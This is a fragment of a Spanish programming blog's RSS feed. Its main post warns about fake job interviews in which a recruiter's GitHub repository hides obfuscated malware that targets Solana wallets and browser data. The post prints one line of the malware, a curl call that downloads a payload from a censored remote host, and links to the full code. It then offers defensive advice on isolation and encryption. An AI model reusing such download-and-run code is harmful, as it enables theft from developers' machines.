      <summary>&lt;p&gt;Mientras usaba una app de citas estilo Tinder, de esas en las que, tras un like mutuo, la aplicación pone en contacto a los involucrados, pude notar que, para promocionar su plan premium, usaban fotografías difuminadas para presentarte a las personas que habían presionado el botón de Like en tu perfil.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;},{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Como Una Entrevista Laboral Se Convierte En Un Robo De Criptomonedas</title>
      <link>https://coffeebytes.dev/es/opinion/como-una-entrevista-laboral-se-convierte-en-un-robo-de-criptomonedas/</link>
      <pubDate>Sat, 14 Dec 2024 22:24:18 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/como-una-entrevista-laboral-se-convierte-en-un-robo-de-criptomonedas/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba navegando en esa máquina de propaganda política de Elon Musk, también conocida como X, y me topé con esta joya de la desvergüenza humana, un entrevistador que estuvo a punto de hackear a uno de sus postulantes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;ejecucion-de-malware-en-las-entrevistas-laborales&#34;&gt;Ejecución de malware en las entrevistas laborales&lt;/h2&gt;&#xA;&lt;p&gt;La historia es esta: estás necesitado de trabajo, te preparas para la entrevista, y de repente el reclutador te pide clonar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/git/no-uses-github-para-evaluar-a-los-desarrolladores/&#34;&gt;una librería de Github&lt;/a&gt;&#xA; para que encuentres los errores en el código, una entrevista protocolaria para desarrollo de software, todo normal hasta este punto. Por supuesto que tú, necesitado de un buen laburo, decides seguir con el proceso.&lt;/p&gt;&#xA;&lt;p&gt;Bueno, pues este chico fue lo suficientemente avispado como para leer el código a ejecutar antes de ejecutar ciegamente su voluminosa librería de &lt;em&gt;node_modules&lt;/em&gt;. ¿Y con que se encontró? un suculento y delicioso código minimizado, ofuscado y con tintes de poner tu ordenador a minar criptomonedas.&lt;/p&gt;&#xA;&lt;p&gt;Nuestro amigo era como Jorge, curioso, así que embelleció el código y encontró:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lineas que parecen buscar y leer el contenido de carteras de Solana.&lt;/li&gt;&#xA;&lt;li&gt;Scripts que escanean directorios de navegadores.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;Llamadas a una API&lt;/a&gt;&#xA; directo a una dirección IP, sin dominio, algunos sin respuesta y otros que descargan scripts ofuscados en Python (supongo que le da un seguimiento al proceso de hackeo instalando un backdoor o algún RAT).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si quieres &lt;del&gt;infectarte&lt;/del&gt; leer el código visita &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gist.github.com/jbrit/9a6525d086411a0fcffea202f368e780#file-initial-obfuscated-iife-js&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;el repositorio de github&lt;/a&gt;&#xA;, no me hago responsable de nada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;_0x42b722(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;curl -Lo \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; _0x157519 &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;\&amp;#34; \&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://&amp;lt;censored&amp;gt;/pdown&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;\&amp;#34;&amp;#34;&lt;/span&gt;, (_0x204dd7, _0x6e1c16, _0x52b515) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; (_0x204dd7) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    _0x517b73 &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;void&lt;/span&gt; _0x70af27();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-evitamos-caer-en-estas-trampas&#34;&gt;¿Cómo evitamos caer en estas trampas?&lt;/h2&gt;&#xA;&lt;p&gt;No planeo quedarme solo en el drama. Esto se trata de ofrecer algunas soluciones prácticas para que los script kiddies no te vean la cara de novato en una falsa entrevista de trabajo:&lt;/p&gt;&#xA;&lt;h3 id=&#34;usa-un-dispositivo-diferente&#34;&gt;&lt;strong&gt;Usa un dispositivo diferente&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;La opción más cómoda, pero también la más cara, mantén tus dispositivos separados, usa un ordenador para trabajo y pruebas técnicas y otro para tus asuntos personales, criptomonedas incluidas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;lee-el-codigo-siempre-que-sea-posible&#34;&gt;&lt;strong&gt;Lee el código, siempre que sea posible&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;¿El reclutador te manda un script? Examínalo con cuidado antes de ejecutarlo. Sí, ya sé, a veces el código es demasiado extenso o está ofuscado, pero si tienes algo de experiencia, puedes pasar tus ojos rápidamente por la pantalla y detectar las red flags. Claro, tampoco puedes perder toda la tarde con esto si estás en una entrevista real o valoras tu tiempo.&lt;/p&gt;&#xA;&lt;h3 id=&#34;usa-una-maquina-virtual&#34;&gt;&lt;strong&gt;Usa una máquina virtual&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Monta una máquina virtual, ya sea Virtual Box o Gnome Boxes, en Linux, o un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/tutorial-basicos-de-comandos-de-docker/&#34;&gt;contenedor de Docker completamente aislado&lt;/a&gt;&#xA;, si no te molesta no contar con una interfaz gráfica.&lt;/p&gt;&#xA;&lt;p&gt;Otra opción disponible, y mi favorita: una live USB con la distribución de tu elección (Debian, Fedora, o lo que quieras).&lt;/p&gt;&#xA;&lt;p&gt;De esa manera, lo peor que puede pasar es que infecten tu máquina virtual y no tu equipo real con toda tu información personal. ¡Solo ten cuidado los volúmenes compartidos! Si montas tu disco duro en la VM, estás frito.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;cifra-tu-informacion-sensible&#34;&gt;&lt;strong&gt;Cifra tu información sensible&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Aquí entra el clásico consejo de los veteranos de la vieja escuela de TI: &lt;strong&gt;cifra tus datos importantes&lt;/strong&gt;. Si alguien logra acceder a tus colección de memes de gatitos, cífralos.&lt;/p&gt;&#xA;&lt;p&gt;No planeo ofrecer detalles porque ya hay demasiado en internet, Googlea sobre GPG o lee el manual directamente, si no estás tan familiarizado con la terminal o no te interesa, hay herramientas como Kleopatra, que vuelven más intuitivo el uso de la criptogorafía.&lt;/p&gt;&#xA;&lt;h2 id=&#34;no-ejecutes-codigo-arbitrario-en-tu-maquina-personal&#34;&gt;No ejecutes código arbitrario en tu máquina personal&lt;/h2&gt;&#xA;&lt;p&gt;¿Tienes mejores ideas para protegernos de estas prácticas? Suelta tus consejos en redes sociales y etiquétame. Estoy ansioso de agregar tus sugerencias al post.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres leer la historia completa dale una visita al blog de Elon&amp;hellip; digo X. Editado: el propietario de la cuenta ha cambiado su configuración de privacidad, así que ahora no puedes ver la conversación completa.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El otro día estaba navegando en esa máquina de propaganda política de Elon Musk, también conocida como X, y me topé con esta joya de la desvergüenza humana, un entrevistador que estuvo a punto de hackear a uno de sus postulantes.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Qué hace al lenguaje Rust tan difícil de aprender?</title>
      <link>https://coffeebytes.dev/es/rust/que-hace-al-lenguaje-rust-tan-dificil-de-aprender/</link>
      <pubDate>Wed, 16 Oct 2024 19:15:53 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/rust/que-hace-al-lenguaje-rust-tan-dificil-de-aprender/</guid>
      
      <category>rust</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Empecé a aprender Rust, y todo lo que leí en redes sobre su curva de aprendizaje es verdad. Rust es difícil, no imposible, solo difícil. Pero ahora &lt;strong&gt;también entiendo también porque la obsesión con este lenguaje de programación&lt;/strong&gt;. Tras haber terminado el libro de Rust tengo una visión general del lenguaje de programación que plasmaré en los siguientes párrafos.&lt;/p&gt;&#xA;&lt;p&gt;Si ya sabes que hace complicado a Rust tan difícil y lo que estás buscando es aprenderlo, pasa a la parte final de este post donde te recomiendo algunos recursos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;conceptos-de-rust-que-no-estan-en-otros-lenguajes&#34;&gt;Conceptos de Rust que no están en otros lenguajes&lt;/h2&gt;&#xA;&lt;p&gt;Rust requiere que domines una serie de conceptos que no existen en otros lenguajes de programación, lo cual vuelve el ejercicio de aprender Rust un poco más complejo que extrapolar la sintaxis de otros lenguajes a este, tal como harías si quisieras aprender &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;el lenguaje de programación Go&lt;/a&gt;&#xA;, por ejemplo. Por esta misma razón, no recomiendo que Rust sea tu primer lenguaje de programación.&lt;/p&gt;&#xA;&lt;p&gt;La razón de la complejidad de Rust radica en un escenario exótico. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.technologyreview.com/2023/02/14/1067869/rust-worlds-fastest-growing-programming-language/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Rust fue creado por Graydon Hoare tras un incidente con un ascensor averiado.&lt;/a&gt;&#xA; ¿La causa? Un pobre manejo de memoria, probablemente causado por código C o C++.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/972mo7.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/972mo7.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust fue creado por Graydon Hoare tras un problema con un elevador&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Rust fue creado por Royden Lepp tras un problema con un elevador&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;el-borrowing-en-rust-es-dificil&#34;&gt;El Borrowing en Rust es difícil&lt;/h3&gt;&#xA;&lt;p&gt;El objetivo del creador de Rust era desaparecer todos los errores de manejo de memoria en el heap que seguramente ya conoces, para esto Rust se encarga de que solo pueda haber una variable que &lt;em&gt;posea&lt;/em&gt; un valor, esta posesión puede transferirse de una variable a otra por medio del borrowing pero en todo momento hay un único dueño.&lt;/p&gt;&#xA;&lt;p&gt;Yo encontré este video sobre borrowing particularmente útil:&lt;/p&gt;&#xA;&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: 